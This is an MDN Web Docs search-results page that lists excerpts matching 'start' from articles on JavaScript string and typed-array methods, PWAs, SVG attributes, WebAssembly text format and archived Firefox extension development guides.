ase clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.matchall(regexp) parameters regexp a regular expression object. if a non-regexp object obj is passed, it is implicitly converted to a regexp by using new regexp(obj). the regexp object must have the /g flag, otherwise a typeerror will be thrown. ...
... a re
startable iterable). examples regexp.exec() and matchall() prior to the addition of matchall to javascript, it was possible to use calls to regexp.exec (and regexes with the /g flag) in a loop to obtain all the matches: const regexp = regexp('foo[a-z]*','g'); const str = 'table football, foosball'; let match; while ((match = regexp.exec(str)) !== null) { console.log(`found ${match[0]}
start=${match.index} end=${regexp.lastindex}.`); // expected output: "found football
start=6 end=14." // expected output: "found foosball
start=16 end=24." } with matchall available, you can avoid the while loop and exec with g. instead, by using matchall, you get an iterator to use with the more convenient for...of, array spread, or array.from() constructs: const regexp = regexp('foo[a-z]*','g...
...nd=24." } with matchall available, you can avoid the while loop and exec with g. ...
...And 2 more matches
String.prototype.substring() - JavaScript
the substring() method returns the part of the string between the
start and end indexes, or to the end of the string. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.substring(index
start[, indexend]) parameters index
start the index of the first character to include in the returned substring. indexend optional the index of the first character to exclude from the returned substring. return value a new string containing the specified part of the given string. description substring() extracts characters from index
start up to but not including indexend. in particular: if indexend is omitted, sub...
...e returned substring. indexend optional the index of the first character to exclude from the returned substring. return value a new string containing the specified part of the given string. description substring() extracts characters from index
start up to but not including indexend. in particular: if indexend is omitted, substring() extracts characters to the end of the string. if index
start is equal to indexend, substring() returns an empty string. if index
start is greater than indexend, then the effect of substring() is as if the two arguments were swapped; see example below. any argument value that is less than 0 or greater than stringname.length is treated as if it were 0 and stringname.length, respectively. any argument value that is nan is treated as if it were 0. examples...
...bstring(4, 7)) console.log(anystring.substring(7, 4)) // displays 'mozilla' console.log(anystring.substring(0, 7)) console.log(anystring.substring(0, 10)) using substring() with length property the following example uses the substring() method and length property to extract the last characters of a particular string. this method may be easier to remember, given that you don't need to know the
starting and ending indices as you would in the above examples. // displays 'illa' the last 4 characters let anystring = 'mozilla' let anystring4 = anystring.substring(anystring.length - 4) console.log(anystring4) // displays 'zilla' the last 5 characters let anystring = 'mozilla' let anystring5 = anystring.substring(anystring.length - 5) console.log(anystring5) the difference between substring() a...
...And 2 more matches
String - JavaScript
f the string. read-only. instance methods string.prototype.charat(index) returns the character (exactly one utf-16 code unit) at the specified index. string.prototype.charcodeat(index) returns a number that is the utf-16 code unit value at the given index. string.prototype.codepointat(pos) returns a nonnegative integer number that is the code point value of the utf-16 encoded code point
starting at the specified pos. string.prototype.concat(str [, ...strn ]) combines the text of two (or more) strings and returns a new string. string.prototype.includes(searchstring [, position]) determines whether the calling string contains searchstring. string.prototype.endswith(searchstring [, length]) determines whether a string ends with the characters of the string searchstring. string.pro...
...ion regexp against a string. string.prototype.matchall(regexp) returns an iterator of all regexp's matches. string.prototype.normalize([form]) returns the unicode normalization form of the calling string value. string.prototype.padend(targetlength [, padstring]) pads the current string from the end with a given string and returns a new string of the length targetlength. string.prototype.pad
start(targetlength [, padstring]) pads the current string from the
start with a given string and returns a new string of the length targetlength. string.prototype.repeat(count) returns a string consisting of the elements of the object repeated count times. string.prototype.replace(searchfor, replacewith) used to replace occurrences of searchfor using replacewith. searchfor may be a string or regul...
... or function. string.prototype.search(regexp) search for a match between a regular expression regexp and the calling string. string.prototype.slice(beginindex[, endindex]) extracts a section of a string and returns a new string. string.prototype.split([sep [, limit] ]) returns an array of strings populated by splitting the calling string at occurences of the substring sep. ...
...And 2 more matches
TypedArray.prototype.fill() - JavaScript
the fill() method fills all the elements of a typed array from a
start index to an end index with a static value. this method has the same algorithm as array.prototype.fill(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.fill(value[,
start = 0[, end = this.length]]) parameters value value to fill the typed array with.
start optional.
start index. defaults to 0. end optional. end index (not included). defaults to this.length. return value the modified array. description the elements interval to fill is [
start, end). the fill method t...
...if end is negative, it is treated as length+end. ...
...if end is negative, it is treated as length+end. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. ...
...And 2 more matches
How to make PWAs installable - Progressive web apps (PWAs)
th chromium-based browsers. the manifest file the key element is a web manifest file, which lists all the information about the website in a json format. it usually resides in the root folder of a web app. it contains useful information, such as the app’s title, paths to different-sized icons that can be used to represent the app on an os (such as an icon on the home screen, an entry in the
start menu, or an icon on the desktop), and a background color to use in loading or splash screens. this information is needed for the browser to present the web app properly during the installation process, as well as within the device's app-launching interface, such as the home screen of a mobile device. the js13kpwa.webmanifest file of the js13kpwa web app is included in the <head> block of the ind...
...essive web app", "short_name": "js13kpwa", "description": "progressive web app that lists games submitted to the a-frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "
start_url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app. short_name: short name to be shown on the home screen. description: a sentence or two explaining what your app does. icons: a bunch of icon...
...elds are self-explanatory, but to be certain we're on the same page: name: the full name of your web app. short_name: short name to be shown on the home screen. description: a sentence or two explaining what your app does. icons: a bunch of icon information — source urls, sizes, and types. be sure to include at least a few, so that one that fits best will be chosen for the user's device.
start_url: the index document to launch when
starting the app. display: how the app is displayed; can be fullscreen, standalone, minimal-ui, or browser. theme_color: a primary color for the ui, used by operating system. background_color: a color used as the app's default background, used during install and on the splash screen. a minimal web manifest must have at least a name and an icons field wi...
...And 2 more matches
Mobile first - Progressive web apps (PWAs)
this article offers some related ideas, looking at the concept of mobile first — the practice of designing a website so that the default layout/configuration is for mobile devices, and layouts and features for desktop browsers are then layered on top of that default. this guide looks at a few useful techniques inside the mobile first umbrella. ...
... this way, mobile devices don't have to load assets and other information twice. if you are using mechanisms like feature detection and matchmedia to conditionally load scripting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain. ...
...re using mechanisms like feature detection and matchmedia to conditionally load scripting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain. note:
starting with very little and working up as the need arises usually makes more sense than
starting with everything and then covering up things if they aren't needed! mobile constraints we have already mentioned the fact that mobiles generally have less memory, processing power and bandwidth than other devices (although bear in mind that smart tvs are also generally pretty low powered.) they also have less viewport size available. therefore, as well as splitting content into different vie...
...And 2 more matches
height - SVG: Scalable Vector Graphics
he rendering area of the filter. value <length> | <percentage> default value 120% animatable yes foreignobject for <foreignobject>, height defines the vertical length for the rendering area for the referenced document. ...
... mask for <mask>, height defines the vertical length of its area of effect. the exact effect of this attribute is influenced by the maskunits attribute. ...
...the exact effect of this attribute is influenced by the patternunits and patterntransform attributes. value <length> default value 0 animatable yes rect for <rect>, height defines the vertical length for the rectangle. value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note:
starting with svg2, height is a geometry property meaning this attribute can also be used as a css property for rectangles. svg for <svg>, height defines the vertical length for the rendering area of the svg viewport. note: in an html document if both the viewbox and height attributes are omitted, the svg element will be rendered with a height of 150px value auto | <length> | <perce...
...And 2 more matches
width - SVG: Scalable Vector Graphics
e rendering area of the filter. value <length> | <percentage> default value 120% animatable yes foreignobject for <foreignobject>, width defines the horizontal length for the rendering area for the referenced document. ...
... mask for <mask>, width defines the horizontal length of its area of effect. the exact effect of this attribute is influenced by the maskunits attribute. ...
...he exact effect of this attribute is influenced by the patternunits and patterntransform attributes. value <length> default value 0 animatable yes rect for <rect>, width defines the horizontal length for the rectangle. value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note:
starting with svg2, width is a geometry property meaning this attribute can also be used as a css property for rectangles. svg for <svg>, width defines the horizontal length for the rendering area of the svg viewport. note: in an html document if both the viewbox and width attributes are omitted, the svg element will be rendered with a width of 300px value auto | <length> | <percentage>...
...And 2 more matches
x - SVG: Scalable Vector Graphics
x coordinate of the upper left corner for the rendering area of the filter. value <length> | <percentage> default value -10% animatable yes foreignobject for <foreignobject>, x defines the x coordinate of the uper left corner of its viewport. value <length> | <percentage> default value 0 animatable yes note:
starting with svg2, x is a geometry property meaning this attribute can also be used as a css property for <foreignobject>. glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used. for <glyphref>, x defines the x-axis coordinate of the glyph. value <number> default value 0 for the first glyphref, and the end x coordinate of the previous <glyphref> for all...
... value <number> default value 0 for the first glyphref, and the end x coordinate of the previous <glyphref> for all subsequent sibling <glyphref>. animatable yes image for <image>, x defines the x coordinate of the uper left corner of the image. value <length> | <percentage> default value 0 animatable yes note:
starting with svg2, x is a geometry property meaning this attribute can also be used as a css property for images. mask for <mask>, x defines the x coordinate of the uper left corner of its area of effect. the exact effect of this attribute is influenced by the maskunits attribute. value <length> | <percentage> default value -10% animatable yes pattern fo...
...ile pattern. the exact effect of this attribute is influenced by the patternunits and patterntransform attributes. value <length> default value 0 animatable yes rect for <rect>, x defines the x coordinate of the uper left corner of the shape. ...
...And 2 more matches
y - SVG: Scalable Vector Graphics
y coordinate of the upper left corner for the rendering area of the filter. value <length> | <percentage> default value -10% animatable yes foreignobject for <foreignobject>, y defines the y coordinate of the uper left corner of its viewport. value <length> | <percentage> default value 0 animatable yes note:
starting with svg2, y is a geometry property meaning this attribute can also be used as a css property for <foreignobject>. glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used. for <glyphref>, y defines the y-axis coordinate of the glyph. value <number> default value none animatable yes image for <image>, y defines the y coordinate...
...<glyphref> is deprecated and shouldn't be used. for <glyphref>, y defines the y-axis coordinate of the glyph. value <number> default value none animatable yes image for <image>, y defines the y coordinate of the uper left corner of the image. value <length> | <percentage> default value 0 animatable yes note:
starting with svg2, y is a geometry property meaning this attribute can also be used as a css property for images. mask for <mask>, y defines the y coordinate of the uper left corner of its area of effect. the exact effect of this attribute is influenced by the maskunits attribute. value <length> | <percentage> default value -10% animatable yes pattern for...
...tile pattern. the exact effect of this attribute is influenced by the patternunits and patterntransform attributes. value <length> default value 0 animatable yes rect for <rect>, y defines the y coordinate of the uper left corner of the shape. ...
...And 2 more matches
SVG Attribute reference - SVG: Scalable Vector Graphics
rtical glyphref gradienttransform gradientunits h hanging height href hreflang horiz-adv-x horiz-origin-x i id ideographic image-rendering in in2 intercept k k k1 k2 k3 k4 kernelmatrix kernelunitlength kerning keypoints keysplines keytimes l lang lengthadjust letter-spacing lighting-color limitingconeangle local m marker-end marker-mid marker-
start markerheight markerunits markerwidth mask maskcontentunits maskunits mathematical max media method min mode n name numoctaves o offset opacity operator order orient orientation origin overflow overline-position overline-thickness p panose-1 paint-order path pathlength patterncontentunits patterntransform patternunits ping pointer-events points points...
...in overflow overline-position overline-thickness p panose-1 paint-order path pathlength patterncontentunits patterntransform patternunits ping pointer-events points pointsatx pointsaty pointsatz preservealpha preserveaspectratio primitiveunits r r radius referrerpolicy refx refy rel rendering-intent repeatcount repeatdur requiredextensions requiredfeatures re
start result rotate rx ry s scale seed shape-rendering slope spacing specularconstant specularexponent speed spreadmethod
startoffset stddeviation stemh stemv stitchtiles stop-color stop-opacity strikethrough-position strikethrough-thickness string stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width s...
...rofile, color-rendering, cursor, direction, display, dominant-baseline, enable-background, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, image-rendering, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-
start, mask, opacity, overflow, pointer-events, shape-rendering, stop-color, stop-opacity, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, text-decoration, text-rendering, transform, transform-origin, unicode-bidi, vector-effect, visibility, word-spacing, writing-mode filters attributes filter primitive attrib...
...And 2 more matches
<marker> - SVG: Scalable Vector Graphics
the <marker> element defines the graphic that is to be used for drawing arrowheads or polymarkers on a given <path>, <line>, <polyline> or <polygon> element. markers are attached to shapes using the marker-
start, marker-mid, and marker-end properties. ...
... <polyline> or <polygon> element. markers are attached to shapes using the marker-
start, marker-mid, and marker-end properties. ...
... value type: <length> ; default value: 3; animatable: yes ...
...And 2 more matches
Understanding WebAssembly text format - WebAssembly
ls you what type of node it is, and after that there is a space-separated list of either attributes or child nodes. so that means the webassembly s-expression: (module (memory 1) (func)) represents a tree with the root node “module” and two child nodes, a "memory" node with the attribute "1" and a "func" node. we’ll see shortly what these nodes actually mean. the simplest module let's
start with the simplest, shortest possible wasm module. (module) this module is totally empty, but is still a valid module. if we convert our module to binary now (see converting webassembly text format to wasm), we’ll see just the 8 byte module header described in the binary format: 0000000: 0061 736d ; wasm_binary_magic 0000004: 0100 0000 ; wasm_binary_version adding ...
...hat every type of instruction pushes and/or pops a certain number of i32/i64/f32/f64 values to/from a stack. for example, local.get is defined to push the value of the local it read onto the stack, and i32.add pops two i32 values (it implicitly grabs the previous two values pushed onto the stack), computes their sum (modulo 2^32) and pushes the resulting i32 value. when a function is called, it
starts with an empty stack which is gradually filled up and emptied as the body’s instructions are executed. so for example, after executing the following function: (func (param $p i32) (result i32) local.get $p local.get $p i32.add) the stack contains exactly one i32 value — the result of the expression ($p + $p), which is handled by i32.add. the return value of a function is just the fi...
...utting this together with what we have already learned, we can finally define a module containing our own simple function: (module (func (param $lhs i32) (param $rhs i32) (result i32) local.get $lhs local.get $rhs i32.add)) this function gets two parameters, adds them together, and returns the result. there are a lot more things that can be put inside function bodies, but we will
start off simple for now, and you’ll see a lot more examples as you go along. for a full list of the available opcodes, consult the webassembly.org semantics reference. calling the function our function won’t do very much on its own — now we need to call it. how do we do that? like in an es2015 module, wasm functions must be explicitly exported by an export statement inside the module. like lo...
...And 2 more matches
Content Scripts - Archive of obsolete content
c string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. controlling when to attach the script the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of: "
start": load the scripts immediately after the document element for the page is inserted into the dom. at this point the dom content hasn't been loaded yet, so the script won't be able to interact with it. "ready": load the scripts after the dom for the page has been loaded: that is, at the point the domcontentloaded event fires. at this point, content scripts are able to interact with the dom content...
... the assignment might be overridden by the page. ...
... attach event, whose listener is passed the worker for that context. ...
... is passed the worker for that context. ...
panel - Archive of obsolete content
unction onkeyup(event) { if (event.keycode == 13) { // remove the newline. text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); self.port.emit("text-entered", text); textarea.value = ''; } }, false); // listen for the "show" event being sent from the // main add-on code. it means that the panel's about // to be shown. // // set the focus to the text area so the user can // just
start typing. self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> <...
...nction onkeyup(event) { if (event.keycode == 13) { // remove the newline. text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); addon.port.emit("text-entered", text); textarea.value = ''; } }, false); // listen for the "show" event being sent from the // main add-on code. it means that the panel's about // to be shown. // // set the focus to the text area so the user can // just
start typing. addon.port.on("show", function onshow() { textarea.focus(); }); finally, the html file now references "get-text.js" inside a <script> tag: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> ...
... the contentstyle property. contentstyle string, array a string or an array of strings containing the texts of stylesheets to load. stylesheets specified by this property are loaded after those specified by the contentstylefile property. contentscriptwhen string when to load the content scripts. ...
...pecified by this property are loaded before those specified by the contentscript property. contentscript a string or an array of strings containing the texts of content scripts to load. content scripts specified by this property are loaded after those specified by the contentscriptfile property. contentscriptwhen when to load the content scripts. ...
dev/panel - Archive of obsolete content
clients connect to the server and send it messages to examine and modify the...
...in.js // require the sdk modules const { panel } = require("dev/panel"); const { tool } = require("dev/toolbox"); const { class } = require("sdk/core/heritage"); const mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool's panel", icon: "./my-icon.png", url: "./my-panel.html", setup: function(options) { this.debuggee = options.debuggee; this.debuggee.
start(); this.debuggee.onmessage = function(event) { console.log(event.data); } this.debuggee.postmessage({ "to":"root", "type":"listtabs" }); } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); more usefully, you can pass debuggee from...
...ol } = require("dev/toolbox"); const { class } = require("sdk/core/heritage"); const mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool's panel", icon: "./my-icon.png", url: "./my-panel.html", setup: function(options) { this.debuggee = options.debuggee; }, dispose: function() { this.debuggee = null; }, onready: function() { this.debuggee.
start(); this.postmessage("port", [this.debuggee]); } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); in my-panel.js: // my-panel.js var content = document.getelementbyid("content"); window.addeventlistener("message", function(event) { var debuggee = event.po...
... volcan.js: a javascript api for the debugging protocol communicating with the debugger server by exchanging json messages can be cumbersome. so we've also provided a library called volcan.js which gives you a javascript api to the remote debugging protocol. note that at the moment volcan.js does not support the complete remote debugg...
Progress Listeners - Archive of obsolete content
(). note that onpageload does not fire for back button clicks. in the examples below the progress listener is attached to the tabbrowser, which means you don't get any notifications for inactive tabs. firefox 3.5 includes a way to set up a listener for all tabs, selected and not: listening to events on all tabs. ...
...or back button clicks. in the examples below the progress listener is attached to the tabbrowser, which means you don't get any notifications for inactive tabs. firefox 3.5 includes a way to set up a listener for all tabs, selected and not: listening to events on all tabs. ...
...if you use mylistener for more than on...
...e to your object to ensure that it stays in memory. when used with a tabbrowser, you cannot choose which types of events that will be received. instead, you receive those events that the tabbrowser is interested in, except that the onlinkiconavailable and onrefreshattempted notifications are optional. the tabbrowser uses a strong reference to your listener object. gecko 2.0 note
starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), all events are optional. the tabbrowser only notifies you of the events for which you provide a callback. remember to change mylistener to a unique identifier. example: notification when the value in address bar changes a commonly asked question is how to get notified whenever the url in the address bar (also known as location bar...
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
mmended to apply some changes to firefox. in the following you will find a brief description how to do so; a more detailed one can be found under setting up an extension development environment. create a development profile if you want to partition your everyday browsing environment from your development environment in firefox, set up a second profile for development. to create this dev profile
start firefox with firefox.exe -no-remote -p dev on the first
start the profile manager will appear, where you can create the dev profile and configure its home-path. change your preferences for more efficient development before you get to work developing your extension, you’ll want to change some of your firefox preferences. this isn’t a requirement for extension development, but i recommend i...
...er to the “javascript debugging methods” sidebar. true javascript.options.showinconsole (present in firefox 3.5+) outputs javascript errors to the error console. true javascript.options.strict (present in firefox 3.5+) enforces strict error output from javascript true table 1: preferences to set for developing extensions to make these changes,
start your development profile, type about:config into firefox’s location bar and open the preferences window; find the preferences listed in table 1 and double-click on them to set them accordingly. some of these preferences do not exist—to create them, right-click, select “new>boolean”, and type in the name and set the value accordingly. install the dom inspector the dom inspector is an ext...
...packages, one for each language. the skin package this is used to include source files used as visual elements in the gui, including style sheets and images. most extensions include only one skin package, but you can include multiple skin packages to allow the gui to change with different themes. chrome url use a file called a “chrome manifest” to register chrome packages with firefox and
start using them. to register a package, you use a special uri scheme called a “chrome url” to represent the path to the file. chrome urls are structured as: chrome://%package name%/%package type%/%relative path to source file% for example, the chrome url for the firefox browser window is as follows: chrome://browser/content/browser.xul here, the package name is “browser”, the file “brows...
... skin. name this helloworld.xpi. this omits creating the archive of the chrome packages called helloworld.jar. this kind of xpi file will run fine, but will slow down firefox’s launch time. xpi operations check after you create the xpi file, make sure it works. since you’ve already got the development version of the hello world extension running as a test install on your current profile, re
start firefox under a different profile (see footnote 1). drag and drop the xpi file onto your browser window to
start the installation. this completes the explanation of how to create and package a simple “hello world” extension. developing practical extensions: a session-management extension in this section, we will create an extension that uses a new feature: the session store api. this will...
Performance best practices in extensions - Archive of obsolete content
ges is its extreme extensibility. extensions can do almost anything. there is a down side to this: poorly written extensions can have a severe impact on the browsing experience, including on the overall performance of firefox itself. this article offers some best practices and suggestions that can not only improve the performance and speed of your extension, but also of firefox itself. improving
startup performance extensions are loaded and run whenever a new browser window opens. that means every time a window opens, your extension can have an impact on how long it takes the user to see the content they're trying to view. there are several things you can do to reduce the amount of time your extension delays the appearance of the user's desired content. load only what you need, when you need...
... loaded and run whenever a new browser window opens. that means every time a window opens, your extension can have an impact on how long it takes the user to see the content they're trying to view. there are several things you can do to reduce the amount of time your extension delays the appearance of the user's desired content. load only what you need, when you need it don't load things during
startup that are only needed if the user clicks a button, or if a given preference is enabled when it's not. if your extension has features that only work when the user has logged into a service, don't load the resources for those features until the user actually logs in. use javascript code modules you can create your own javascript code modules incorporating sets of features that are only needed un...
...be used wisely. loading modules incurs a small cost, so breaking code up to an unnecessary degree can be counter-productive. code should be modularized to the extent that doing so increases clarity, and loading of large or expensive chunks of code fragments can be significantly deferred. defer everything that you can most extensions have a load event listener in the main overlay that runs their
startup functions. do as little as possible here. the browser window is blocked while your add-on's load handler runs, so the more it does, the slower firefox will appear to the user. if there is anything that can be done even a fraction of a second later, you can use an nsitimer or the window.settimeout() method to schedule that work for later. even a short delay can have a big impact. general perf...
...l" javascript compartment containing 100s of mbs of memory, which is much larger than usual. avoid writing slow css read the "writing efficient css" guide. remember that any selector in your rule which might match many different nodes is a source of inefficiency during either selector matching or dynamic update processing. this is especially bad for the latter if the selector can dynamically
start or stop matching. avoid unqualified ":hover" like the plague. avoid dom mutation event listeners dom mutation event listeners are extremely expensive and, once added to a document even briefly, significantly harm its performance. as mutation events are officially deprecated, and there are many alternatives, they should be avoided at all costs. lazily load services the xpcomutils javascript m...
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
ably enough to double file size. my initial attempts at the markup and css for the wired news design eliminated the majority of our tables, but left one master table to control the primary columns of each page. that approach meant that the content of every column would have to be loaded and calculated before it would be rendered in the browser window. that wasn't good enough. around that time, i
started discovering great sites like glish.com and bluerobot.com. both presented and documented viable means of producing multi-column layouts without a single table. despite some initial setbacks with those approaches due to our own unique scenarios, it wasn't long before i discovered a variation of one of their methods that worked for the wired news design. by eliminating tables that were strictly u...
...wanted center column content to appear first in browsers that got the un-styled version. with floats, either the left column or the right column always had to be drawn first. for sites that rely on a left or right column for primary navigation, this content order requirement of float usage may produce desired and advantageous behavior. i also found a lot of trouble ensuring a consistent vertical
start position of columns using floats. two column layouts using floats seemed easy. but adding a third column to the mix created too many width variables for some browsers to dynamically calculate a total. resizing the browser window often resulted in one column getting pushed to the bottom of another. using absolute positioning for left and right columns allowed the markup for each column to fall in...
...ulted in one column getting pushed to the bottom of another. using absolute positioning for left and right columns allowed the markup for each column to fall in any order. there are some technicalities in the order of our markup and some ad units that would require too much to cover here. but positioning did allow the center column to fall first in the markup. it also guarantees each column will
start in the same vertical position. to be fair, i did note two disadvantages of positioning. when one or more columns is positioned absolutely, there is no way to ensure a footer would always appear at the bottom of the longest column. we ended up confining the footer to the width of the center column to avoid any possible overlap. the other disadvantage comes into play at small browser window sizes.
...itioning over floats. how does the new design perform when the pages are printed? we have one css file specifically set up to cover most of the content throughout our pages for print media. by default, all links to screen media css files are explicitly declared as "screen" media instead of "all" media. by doing this, we don't have to override any of the screen styles, giving us a blank slate to
start with for print styles. the print styles present the page content in one column, rather than splitting content up into two or three columns. it also eliminates most of the background colors and images to save on printer ink. fonts are sized in point (pt) units and use serif faces for improved legibility on a printed page. our stories are logically the most printed pages of the site. technically, ...
Autodial for Windows NT - Archive of obsolete content
rn on the autodial feature, windows will automatically dial whenever any application tries to access a network address that can't be reached. technically, this control panel applet (internet options) is part of internet explorer. it is not present in early versions of windows until internet explorer is installed. despite this fact, the feature is triggered by any application that uses networking.
starting with windows nt, and in all nt-based versions (windows nt, windows 2000, and windows xp, including xp home) microsoft has changed the behavior of autodial. for these oss, the autodial options found in the internet options control panel applet only apply to microsoft applications, including internet explorer and outlook. microsoft added a windows system service (remote access auto connection) t...
...e internet address has been accessed some previous time via the modem. these addresses are stored in an os database, the ras autodial addresses db, and a set of heuristics are used to determine if an address is already in the database or not. essentially, if some address at domain.com is in the database, then any address at domain.com is considered to be in the database. also, if any address that
starts with www is in the database, then any other address that begins with www is considered to be in the database. it is important to note that the function of this system service in no way depends on the settings found in control panel | internet options | connections. since the service is the correct way to use autodial for these oss, the first part of the fix to this bug is to help users of the se...
...red, and none is selected as the default, we display a list of dialup connections and let the user choose one. how to configure autodial on nt-based systems first, you will need to configure a dialup connection and make sure it works when triggered manually. if you are using a system with just a modem, the best approach is to configure the remote access auto connection service to automatically
start. then enable autodial for a dialup connection: control panel | network connections | advanced | dialup preferences. this will handle autodial whenever an address can't be found. if you are using a system with both a lan and a modem connection, and you want to use the autodial feature whenever you are not connected to the lan, it's probably better to use the control panel | internet options | conn...
...ection". these two behave the same for mozilla, and trigger autodial when you fail to reach a requested address. issues there have been a few bug reports filed against this new feature that are the result of the fact that mozilla now looks at the control panel | internet options | connections settings. some users have had the autodial setting turned on, but mozilla never triggered them before.
starting in mozilla 1.1, autodial is triggered whenever an address can't be reached (mozilla now mimics the remote access autodial service.) see bug 160846, bug 167624, and bug 160846. if a user doesn't want the os to use autodial, he must turn off the feature from the os. there is also a problem with the aol client when used as a dialer. bug 166134 describes how the aol client installs itself as a dia...
Creating a Firefox sidebar extension - Archive of obsolete content
warning: the content of this article may be out of date. it was originally written in 2005. a newer document is available: creating a firefox sidebar this article describes how to create a registered sidebar for firefox 2 or greater. see the references section for information on creating extension in earlier browsers. introduction this article is a quick
start for the creation of a new sidebar for firefox. what we will do is create a sidebar and register it so it will be available in the menu. the goal is creating an empty sidebar that can be used as
start for new sidebar applications. creating a sidebar requires some gui creation and registration in the destination application. first a simple xul page is created. then the registration files are made and finally the sidebar is packed int...
...it's preferable you have some basic knowledge of how xul works and how firefox handles extensions. see building an extension for more detailed information about structuring, packaging, and deploying extensions. ...
...eed to tell firefox about your extension. open your profile folder open the extensions folder (create it if it doesn't exist) create a new text file, and put the path to your extension folder inside, e.g. c:\extensions\myextension or ~/extensions/myextension. save the file with the id of your extension as its name, e.g. emptysidebar@yourdomain.com now you're ready to test your extension! re
start firefox and the sidebar is included in the menu. you can now go back and make changes to the xul file, close and re
start firefox and they should appear. deployment now that we have a sidebar it is time to make it available to the world. installation requires the creation of an xpi file which is identified as extension in firefox. the xpi is a zip file containing the content, locale and manif...
...y, create the xpi file. this is a zip file containing the jar file in the chrome folder and the manifest files. on unix systems: ~/src/emptysidebar/chrome$ cd .. ~/src/emptysidebar$ zip emptysidebar.xpi install.rdf chrome.manifest chrome/emptysidebar.jar open firefox and browse to the folder containing emptysidebar.xpi. click on the file and the extension installation window pops up. after a re
start of firefox, the sidebar is installed. you can download the empty sidebar project to use as a basis for your own sidebars. the emptysidebar extension resources code snippets:sidebar building an extension creating applications with mozilla packaging firefox/thunderbird extensions creating a firefox 1 sidebar original document information author: j.c. wesdorp <jcwesdorp . at . oc...
Making a Mozilla installation modifiable - Archive of obsolete content
ogram. the files are then collected into a series of jar archives, which are just zip files that contain a specially formatted "manifest" file which describes the contents of the archive so mozilla knows what to do with them. although jar archives are binary files, mozilla's ui is not compiled into machine code; mozilla instead builds its ui from the non-compiled files in the archive each time it
starts up. because of this, we can modify the files in the archive and see our changes to the ui merely by re
starting the application. this makes modifying mozilla's ui much easier than for many other applications. although mozilla stores the ui files in jar archives, it can also access them in their original, unarchived form, which is useful for the extensions developer because it makes it unnecessary...
...by removing the leading jar: and the part in the middle that says something.jar!. if you have perl on your system, you can do this with the following command: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-chrome.txt for example, to convert the url jar:resource:/chrome/comm.jar!/content/necko/, change it to resource:/chrome/content/necko/. ...
...ays something.jar!. if you have perl on your system, you can do this with the following command: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-chrome.txt for example, to convert the url jar:resource:/chrome/comm.jar!/content/necko/, change it to resource:/chrome/content/necko/. after you make these changes, try
starting the copy of mozilla you have modified. ...
...d-chrome.txt for example, to convert the url jar:resource:/chrome/comm.jar!/content/necko/, change it to resource:/chrome/content/necko/. after you make these changes, try
starting the copy of mozilla you have modified. make sure you
start the modified copy and not the default installation on your machine, and shut down "quick launch" if you are on windows and that feature is enabled. ...
Introducing the Audio API extension - Archive of obsolete content
played yet at the time of the event and have not been adjusted for mute or volume settings on the media element. playing, pausing, and seeking the audio also affect the streaming of this raw audio data. the mozaudioavailable event has 2 attributes: framebuffer: framebuffer (i.e., an array) containing decoded audio sample data (i.e., floats) time: timestamp for these samples measured from the
start in seconds the framebuffer contains an array of audio samples. it's important to note that the samples are not separated by channels; they are all delivered together. for example, for a two-channel signal: channel1-sample1 channel2-sample1 channel1-sample2 channel2-sample2 channel1-sample3 channel2-sample3. we can extend the previous example to visualize the timestamp and the first two sample...
...els at 44100 samples per second, a writing interval of 100 ms, and a pre-buffer equal to 500 ms, one would write an array of (2 * 44100 / 10) = 8820 samples, and a total of (currentsampleoffset + 2 * 44100 / 2). it's also possible to auto-detect the minimal duration of the pre-buffer, such that the sound is played without interruptions, and lag between writing and playback is minimal. ...
